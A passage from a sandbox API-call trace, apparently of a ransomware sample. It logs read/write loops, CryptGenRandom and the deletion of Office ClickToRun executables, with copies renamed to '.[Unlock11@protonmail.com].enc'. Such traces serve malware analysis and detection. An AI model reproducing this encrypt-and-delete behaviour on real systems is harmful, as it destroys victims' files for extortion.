lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.774] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.775] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.776] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.776] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.777] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.778] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.778] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.779] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.780] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.781] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.782] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.795] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.799] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.800] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.801] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.801] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.802] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.807] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.809] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.810] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.810] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.811] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.811] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.812] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.813] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.814] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.816] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.816] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.817] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.818] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.818] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.819] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.820] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.821] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.822] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.823] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.824] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.825] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.827] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.827] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.828] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.829] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.830] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.831] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x1068, lpOverlapped=0x0) returned 1 [0118.831] ReadFile (in: hFile=0x39c, lpBuffer=0x36f95c4, nNumberOfBytesToRead=0xe000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f95c4*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0118.832] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x107d) returned 0x36f8548 [0118.832] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x1085) returned 0x36f8548 [0118.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265348 [0118.832] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a60, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a60*=0x1000, lpOverlapped=0x0) returned 1 [0118.832] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0118.832] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x9b9a0c, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a0c*=0x90, lpOverlapped=0x0) returned 1 [0118.833] CloseHandle (hObject=0x3ac) returned 1 [0118.833] CloseHandle (hObject=0x39c) returned 1 [0118.833] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 1 [0118.839] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll", lpFilePart=0x9bada4*="OfficeC2RCom.dll") returned 0x4a [0118.840] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe", lpFilePart=0x9bada4*="OfficeClickToRun.exe") returned 0x4e [0118.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0118.840] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd0d7e00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e58)) returned 1 [0118.840] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a674 | out: pbBuffer=0x366a674) returned 1 [0118.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0118.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0118.840] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0118.841] GetFileType (hFile=0x39c) returned 0x1 [0118.841] GetFileType (hFile=0x39c) returned 0x1 [0118.841] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0118.841] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.841] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.841] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.841] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.841] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.841] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.842] GetLastError () returned 0x0 [0118.842] GetCurrentThreadId () returned 0x9b0 [0118.842] GetLastError () returned 0x0 [0118.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265458 | out: hHeap=0x2ad0000) returned 1 [0118.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2670 | out: hHeap=0x2ad0000) returned 1 [0118.842] GetLastError () returned 0x0 [0118.842] GetLastError () returned 0x0 [0118.842] GetLastError () returned 0x0 [0118.842] GetLastError () returned 0x0 [0118.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0118.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265418 [0118.842] GetLastError () returned 0x0 [0118.843] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0118.843] GetFileType (hFile=0x3ac) returned 0x1 [0118.843] GetLastError () returned 0x0 [0118.843] GetCurrentThreadId () returned 0x9b0 [0118.843] GetLastError () returned 0x0 [0118.843] GetFileType (hFile=0x3ac) returned 0x1 [0118.843] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0118.843] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.843] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.844] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.844] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.844] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.844] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.903] GetLastError () returned 0x0 [0118.903] GetCurrentThreadId () returned 0x9b0 [0118.903] GetLastError () returned 0x0 [0118.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265418 | out: hHeap=0x2ad0000) returned 1 [0118.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0118.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0118.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0118.904] GetLastError () returned 0x0 [0118.904] GetLastError () returned 0x0 [0118.904] GetCurrentThreadId () returned 0x9b0 [0118.904] GetLastError () returned 0x0 [0118.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0118.904] GetLastError () returned 0x0 [0118.905] GetLastError () returned 0x0 [0118.905] GetCurrentThreadId () returned 0x9b0 [0118.905] GetLastError () returned 0x0 [0118.905] GetLastError () returned 0x0 [0118.905] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.908] GetLastError () returned 0x0 [0118.909] GetCurrentThreadId () returned 0x9b0 [0118.909] GetLastError () returned 0x0 [0118.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0118.909] GetCurrentThreadId () returned 0x9b0 [0118.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.909] GetLastError () returned 0x0 [0118.909] GetLastError () returned 0x0 [0118.909] GetLastError () returned 0x0 [0118.910] GetLastError () returned 0x0 [0118.910] GetCurrentThreadId () returned 0x9b0 [0118.910] GetLastError () returned 0x0 [0118.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0118.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0118.910] GetLastError () returned 0x0 [0118.910] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.911] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.912] GetLastError () returned 0x0 [0118.912] GetCurrentThreadId () returned 0x9b0 [0118.912] GetLastError () returned 0x0 [0118.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.912] GetLastError () returned 0x0 [0118.913] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.913] GetLastError () returned 0x0 [0118.914] GetCurrentThreadId () returned 0x9b0 [0118.914] GetLastError () returned 0x0 [0118.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265458 [0118.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652d8 | out: hHeap=0x2ad0000) returned 1 [0118.914] GetCurrentThreadId () returned 0x9b0 [0118.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.914] GetLastError () returned 0x0 [0118.915] GetLastError () returned 0x0 [0118.915] GetLastError () returned 0x0 [0118.915] GetLastError () returned 0x0 [0118.915] GetCurrentThreadId () returned 0x9b0 [0118.915] GetLastError () returned 0x0 [0118.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.915] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0118.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0118.915] GetLastError () returned 0x0 [0118.915] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.916] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.917] GetLastError () returned 0x0 [0118.917] GetCurrentThreadId () returned 0x9b0 [0118.917] GetLastError () returned 0x0 [0118.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.917] GetLastError () returned 0x0 [0118.917] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.919] GetLastError () returned 0x0 [0118.919] GetCurrentThreadId () returned 0x9b0 [0118.919] GetLastError () returned 0x0 [0118.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652a8 [0118.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265458 | out: hHeap=0x2ad0000) returned 1 [0118.919] GetCurrentThreadId () returned 0x9b0 [0118.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.919] GetLastError () returned 0x0 [0118.920] GetLastError () returned 0x0 [0118.920] GetLastError () returned 0x0 [0118.920] GetLastError () returned 0x0 [0118.920] GetCurrentThreadId () returned 0x9b0 [0118.920] GetLastError () returned 0x0 [0118.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0118.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0118.920] 